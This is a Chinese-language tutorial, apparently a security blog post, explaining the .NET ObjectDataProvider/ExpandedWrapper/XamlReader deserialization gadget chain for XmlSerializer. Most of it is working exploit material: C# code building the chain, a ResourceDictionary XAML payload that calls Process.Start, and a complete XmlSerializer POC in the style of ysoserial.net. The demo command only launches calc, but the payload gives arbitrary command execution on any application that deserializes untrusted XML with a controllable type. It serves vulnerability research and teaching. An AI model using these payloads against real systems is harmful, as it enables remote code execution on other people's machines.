ObjectDataProvider 利用链
前置介绍
ObjectDataProvider
命名空间:
程序集:
PresentationFramework.dll
包装和创建可以用作绑定源的对象。
ObjectDataProvider,顾名思义就是把对象作为数据源提供给Binding
数据源
WPF (全称:Windows Presentation Foundation) 是用于替代Windows Form来创建Windows客户端应用程序,WPF开发过程中主要有以下几种数据绑定方法,这些对象可以视为数据源绑定到控件
ResourceDictionary
ResourceDictionary即资源字典,用于wpf开发,资源中也可引入XAML名称空间
ExpandedWrapper
定义
命名空间:
程序集:
System.Data.Services.dll
系统在内部使用此类,以便可支持预先加载了相关实体的查询。
此 API 支持产品基础结构,不能在代码中直接使用。
public sealed class ExpandedWrapper<TExpandedElement,TProperty0,TProperty1,TProperty2> : System.Data.Services.Internal.ExpandedWrapper<TExpandedElement>
类型参数
TExpandedElement
扩展元素的类型。
TProperty0
要扩展的属性的类型。
TProperty1
要扩展的属性的类型。
TProperty2
要扩展的属性的类型。
利用链调试
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
ProcessStartInfo processinfo = new ProcessStartInfo();
processinfo.FileName = "cmd.exe";
processinfo.Arguments = " /c calc.exe";
var process = new Process();
process.StartInfo = processinfo;
ObjectDataProvider odp = new ObjectDataProvider();
odp.MethodName = "Start";
odp.ObjectInstance = process;
XmlSerializer xml = new XmlSerializer(typeof(Object));
xml.Serialize(writer, odp);
在设置ObjectInstance,MethodParameters,MethodName时,ObjectDataProvider都会尝试执行目标函数,但是在序列化会发现报错
InvalidOperationException: 不应是类型 System.Windows.Data.ObjectDataProvider。使用 XmlInclude 或 SoapInclude 特性静态指定非已知的类型。
需要序列化odp对象是一个未知的类。ObjectDataProvider是不能被直接序列化的,可以使用ExpandedWrapper
类来做包装。它的作用就是扩展类的属性。
修改代码
static void Main(string[] args)
{
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
var process = new Process();
ObjectDataProvider odp = new ObjectDataProvider();
var Expandedwrapper = new ExpandedWrapper<Process, ObjectDataProvider>();
Expandedwrapper.ProjectedProperty0 = odp;
Expandedwrapper.ProjectedProperty0.ObjectInstance = process;
Expandedwrapper.ProjectedProperty0.MethodParameters.Add("calc");
Expandedwrapper.ProjectedProperty0.MethodName = "Start";
XmlSerializer xml = new XmlSerializer(typeof(Object));
xml.Serialize(writer, Expandedwrapper);
}
这样没了能执行起来,但是序列化数据失败了,原因是因为使用ExpandedWrapper
去包装Process,是无法序列化的。
改造代码
public class EvilClass
{
public void Evil(string cmd)
{
Process process = new Process();
process.StartInfo.FileName = "cmd.exe";
process.StartInfo.Arguments = "/c " + cmd;
process.Start();
}
}
static void Main(string[] args)
{
MemoryStream memoryStream = new MemoryStream();
TextWriter writer = new StreamWriter(memoryStream);
ObjectDataProvider odp = new ObjectDataProvider();
var Expandedwrapper = new ExpandedWrapper<EvilClass, ObjectDataProvider>();
Expandedwrapper.ProjectedProperty0 = odp;
Expandedwrapper.ProjectedProperty0.ObjectInstance = new EvilClass();
Expandedwrapper.ProjectedProperty0.MethodParameters.Add("calc");
Expandedwrapper.ProjectedProperty0.MethodName = "Evil";
XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<EvilClass, ObjectDataProvider>));
xml.Serialize(writer, Expandedwrapper);
memoryStream.Position = 0;
// 输出xml
Console.WriteLine(Encoding.UTF8.GetString(memoryStream.ToArray()));
}
}
自定义了一个类和方法 方法 自定义的方法里面去调用Process去执行命令。这样序列化数据就不会报错了。但是在实际利用中肯定是不能这样用的。因为目标上没有我们构造的这个类。所以需要寻找一个合适的类来做串联。
XamlReader
ExpandedWrapper可以被XmlSerializer序列化,同时XAML还可以通过XamlReader.Parse实现反序列化返回ExpandedWrapper
对象。构造的恶意ExpandedWrapper
会调用Process进行命令执行.
ResourceDictionary
ResourceDictionary又称资源字典,使用xaml语法
以下是执行命令的ResourceDictionary
执行命令的一个payload
<ResourceDictionary
xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:b="clr-namespace:System;assembly=mscorlib"
xmlns:c="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<b:String>cmd</b:String>
<b:String>/c calc</b:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
- xmlns:c 引用了System.Diagnostics命名空间起别名为c
- d:Key="" 起别名为空,在xaml语法中,Key这个键值必须有。
- ObjectType表示对象类型
- d:Type 等同于typeof()
- MethodName是ObjectDataProvider的属性,传递一个Start等于调用Start方法。
- c:Process 等同于System.Diagnostics.Process
static void Main(string[] args)
{
string xaml = "<ResourceDictionary \r\n xmlns=\"http://schemas.microsoft.com/winfx/2006/xaml/presentation\" \r\n xmlns:d=\"http://schemas.microsoft.com/winfx/2006/xaml\" \r\n xmlns:b=\"clr-namespace:System;assembly=mscorlib\" \r\n xmlns:c=\"clr-namespace:System.Diagnostics;assembly=system\">\r\n <ObjectDataProvider d:Key=\"\" ObjectType=\"{d:Type c:Process}\" MethodName=\"Start\">\r\n <ObjectDataProvider.MethodParameters>\r\n <b:String>cmd</b:String>\r\n <b:String>/c calc</b:String>\r\n </ObjectDataProvider.MethodParameters>\r\n </ObjectDataProvider>\r\n</ResourceDictionary>";
XamlReader.Parse(xaml);
}
怎么串联起来的具体可以看yso生成的POC
<root type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
<ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" >
<ExpandedElement/>
<ProjectedProperty0>
<MethodName>Parse</MethodName>
<MethodParameters>
<anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
<![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:d="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:b="clr-namespace:System;assembly=mscorlib" xmlns:c="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider d:Key="" ObjectType="{d:Type c:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><b:String>cmd</b:String><b:String>/c calc</b:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]>
</anyType>
</MethodParameters>
<ObjectInstance xsi:type="XamlReader"></ObjectInstance>
</ProjectedProperty0>
</ExpandedWrapperOfXamlReaderObjectDataProvider>
</root>
先是ExpandedWrapper<XamlReader, ObjectDataProvider>
执行了XamlReader.Parse()
去解析xaml,xaml构造的是ExpandedWrapper<Process, ObjectDataProvider>
,在ExpandedWrapper<Process, ObjectDataProvider> 执行的时候会去调用Process.Start()
来执行 calc
参考
https://www.cnblogs.com/Ivan1ee/p/16226064.html
https://github.com/Y4er/dotnet-deserialization/blob/main/XmlSerializer.md